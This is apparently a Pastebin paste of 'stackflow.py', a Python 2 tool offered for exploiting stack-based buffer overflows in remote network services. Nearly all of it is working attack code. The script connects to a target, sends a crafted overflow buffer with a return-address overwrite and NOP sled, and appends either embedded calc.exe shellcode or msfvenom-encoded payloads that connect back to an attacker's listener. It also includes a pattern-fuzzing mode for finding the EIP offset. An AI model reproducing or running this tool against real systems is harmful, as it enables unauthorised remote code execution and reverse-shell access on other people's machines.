Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #
- # Stackflow.py - Universal stack-based buffer overflow exploitation tool
- # by @d4rkcat github.com/d4rkcat
- #
- ## This program is free software: you can redistribute it and/or modify
- ## it under the terms of the GNU General Public License as published by
- ## the Free Software Foundation, either version 3 of the License, or
- ## (at your option) any later version.
- #
- ## This program is distributed in the hope that it will be useful,
- ## but WITHOUT ANY WARRANTY; without even the implied warranty of
- ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- ## GNU General Public License at (http://www.gnu.org/licenses/) for
- ## more details.
- from socket import socket, SOCK_STREAM, AF_INET
- from os import system
- from argparse import ArgumentParser
- parser = ArgumentParser(prog='stackflow', usage='./stackflow.py OPTIONS')
- parser.add_argument('-r', "--rhost", type=str, help='rhost')
- parser.add_argument('-p', "--rport", type=str, help='rport')
- parser.add_argument('-c', "--cmds", type=str, help='commands to send to server before overflow')
- parser.add_argument('-v', "--vulncmd", type=str, help='vulnerable command')
- parser.add_argument('-o', "--offset", type=int, help='offset to EIP')
- parser.add_argument('-a', "--returnadd", type=str, help='return addess')
- parser.add_argument('-n', "--nops", type=int, help='number of NOPS \\x90 to prepend')
- parser.add_argument('-m', "--payload", type=str, help='MSF payload')
- parser.add_argument('-i', "--lhost", type=str, help='lhost')
- parser.add_argument('-l', "--lport", type=str, help='lport')
- parser.add_argument('-f', "--fuzz", type=str, help='Fuzz command with cyclic pattern')
- parser.add_argument('-e', "--cfexport", type=str, help='Export exploit config to file')
- parser.add_argument('-g', "--cfimport", type=str, help='Import exploit config from file')
- parser.add_argument('-t', "--calc", action="store_true", help='Send a calc.exe shellcode')
- parser.add_argument('-d', "--display", action="store_true", help='Display the exploit buffer')
- args = parser.parse_args()
- def banner():
- print ''' MMMMMMMMMM
- MMMMMMMMMMMMMMMM
- MMMMMMMMMMMMMMMMMMMM
- MMMMMMM MMMMMMMM
- MMMMMM MMMMMMM
- MMMMM MMMMMM
- MMMM MMMMMM
- M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MMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMM
- . MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMM
- . :MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMM
- M MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMM
- MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM7 MMMMM
- MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMM
- MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMM
- MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMM MMMMMMM
- MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMM MMMMMMM
- MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMM
- .MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
- MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
- MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
- MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
- MMMMMMMM MMMMMMMMMMMMMMMMMMMMM
- .MMM MMMMMMMMMMMMMMM
- MMMMMMMMMMM
- MMMMMMM stackflow.py
- by d4rkcat
- '''
- def pwn(rhost,rport,payload,buflen,lhost,lport):
- es = socket(AF_INET, SOCK_STREAM)
- print ' [>] Attempting to connect to ' + rhost + ' on port ' + rport + '..'
- try:
- es.connect((rhost, int(rport)))
- print ' [<] ' + es.recv(2048)
- print " [^] Connection established.\n"
- except:
- print "\n [X] Could not connect to " + rhost + " on port " + rport
- exit()
- if args.cmds:
- cmds = args.cmds.strip('\n').split('&')
- for cmd in cmds:
- es.send(cmd + '\r\n')
- print ' [>] ' + cmd
- try:
- print ' [<] ' + es.recv(2048)
- except:
- pass
- if vulncmd:
- buf = vulncmd + ' '
- else:
- buf = ''
- if fuzz:
- print "\n [*] Generating Pattern.\n"
- system('$(locate pattern_create | grep work/tools | head -n 1) ' + fuzz + ' > /tmp/fuzz')
- p = open('/tmp/fuzz', 'r')
- buf += p.read()
- p.close()
- else:
- a, b = divmod(buflen, len('PwN3d!'))
- buf += 'PwN3d!' * a + 'PwN3d!'[:b]
- buf += returnadd
- buf += "\x90" * nops
- if calc:
- print " [*] Using calc.exe shellcode."
- buf += ("\xbf\xc2\x51\xc1\x05\xda\xd4\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x33\x83\xea\xfc\x31\x7a\x0e\x03\xb8\x5f\x23\xf0\xc0\x88\x2a\xfb"
- "\x38\x49\x4d\x75\xdd\x78\x5f\xe1\x96\x29\x6f\x61\xfa\xc1\x04\x27\xee\x52\x68\xe0\x01\xd2\xc7\xd6\x2c\xe3\xe9\xd6\xe2\x27\x6b"
- "\xab\xf8\x7b\x4b\x92\x33\x8e\x8a\xd3\x29\x61\xde\x8c\x26\xd0\xcf\xb9\x7a\xe9\xee\x6d\xf1\x51\x89\x08\xc5\x26\x23\x12\x15\x96"
- "\x38\x5c\x8d\x9c\x67\x7d\xac\x71\x74\x41\xe7\xfe\x4f\x31\xf6\xd6\x81\xba\xc9\x16\x4d\x85\xe6\x9a\x8f\xc1\xc0\x44\xfa\x39\x33"
- "\xf8\xfd\xf9\x4e\x26\x8b\x1f\xe8\xad\x2b\xc4\x09\x61\xad\x8f\x05\xce\xb9\xc8\x09\xd1\x6e\x63\x35\x5a\x91\xa4\xbc\x18\xb6\x60"
- "\xe5\xfb\xd7\x31\x43\xad\xe8\x22\x2b\x12\x4d\x28\xd9\x47\xf7\x73\xb7\x96\x75\x0e\xfe\x99\x85\x11\x50\xf2\xb4\x9a\x3f\x85\x48"
- "\x49\x04\x79\x03\xd0\x2c\x12\xca\x80\x6d\x7f\xed\x7e\xb1\x86\x6e\x8b\x49\x7d\x6e\xfe\x4c\x39\x28\x12\x3c\x52\xdd\x14\x93\x53"
- "\xf4\x76\x72\xc0\x94\x56\x11\x60\x3e\xa7")
- else:
- print " [*] Generating " + payload + " shellcode.\n"
- cmd = str('$(which msfvenom) -p ' + payload + ''' -e x86/shikata_ga_nai -i 2 -b \\x00\\xff\\x0a\\x0d\\xf1\\x20\\x40 -f py LHOST=''' + lhost + ' LPORT=' + lport + ''' | tail -n +2 | cut -c 8- | tr -d '\n' | tr -d '"' > /tmp/shlcde''')
- system(cmd)
- p = open('/tmp/shlcde', 'r')
- buf += str(p.read().decode('string_escape'))
- p.close()
- buf += "\r\n"
- if display:
- print '\n [*] Exploit Buffer: ' + str(buf)
- try:
- es.send(buf)
- if not fuzz:
- print '\n [$] Buffer sent, evil shellcode should be running.. ;)'
- if calc:
- print '\n [$] Calc.exe should be running, enjoy your calculations..\n'
- else:
- print '\n [$] Payload ' + payload + ' should be connecting back to ' + lhost + ' on port ' + lport + '\n'
- else:
- print ' [Z] Cyclic pattern fuzzing buffer of ' + fuzz + ' length sent.'
- except:
- print "\n [X] Exploit Failed! :("
- es.settimeout(0.5)
- try:
- es.recv(2048)
- except:
- pass
- es.close()
- if args.cfimport:
- if args.cfimport.endswith('.py'):
- args.cfimport = args.cfimport[:-3]
- cf = args.cfimport
- try:
- print ' [*] Loading ' + cf + '.py config file\n'
- args = __import__(cf)
- args.cfexport = None
- except:
- print ' [*] Config file ' + cf + '.py not found!\n'
- exit()
- lhost = args.lhost
- lport = args.lport
- rhost = args.rhost
- rport = args.rport
- payload = args.payload
- buflen = args.offset
- fuzz = args.fuzz
- calc = args.calc
- display = args.display
- vulncmd = args.vulncmd
- returnadd = args.returnadd
- if args.nops:
- nops = args.nops
- else:
- nops = 16
- if not fuzz and not calc:
- if not buflen or not lhost or not lport or not payload or not returnadd or not buflen:
- print ' [*] You must specify the local host, local port, payload, return address and EIP offset!\n'
- banner()
- parser.print_help()
- exit()
- if not rhost or not rport:
- print ' [*] You must specify the remote host and remote port!\n'
- banner()
- parser.print_help()
- exit()
- if returnadd:
- returnadd = '\\x' + returnadd[6:8] + '\\x' + returnadd[4:6] + '\\x' + returnadd[2:4] + '\\x' + returnadd[0:2]
- returnadd = returnadd.decode('string_escape')
- if args.cfexport:
- conf = str(args).replace('Namespace', '').strip('(').strip(')').split(',')
- cf = open(args.cfexport + '.py', 'w')
- for var in conf:
- if not var.startswith('cf'):
- cf.write(var.strip() + '\n')
- cf.close()
- print ' [*] Exploit config exported to ' + args.cfexport + '.py\n'
- else:
- pwn(rhost,rport,payload,buflen,lhost,lport)
Advertisement
Add Comment
Please, Sign In to add comment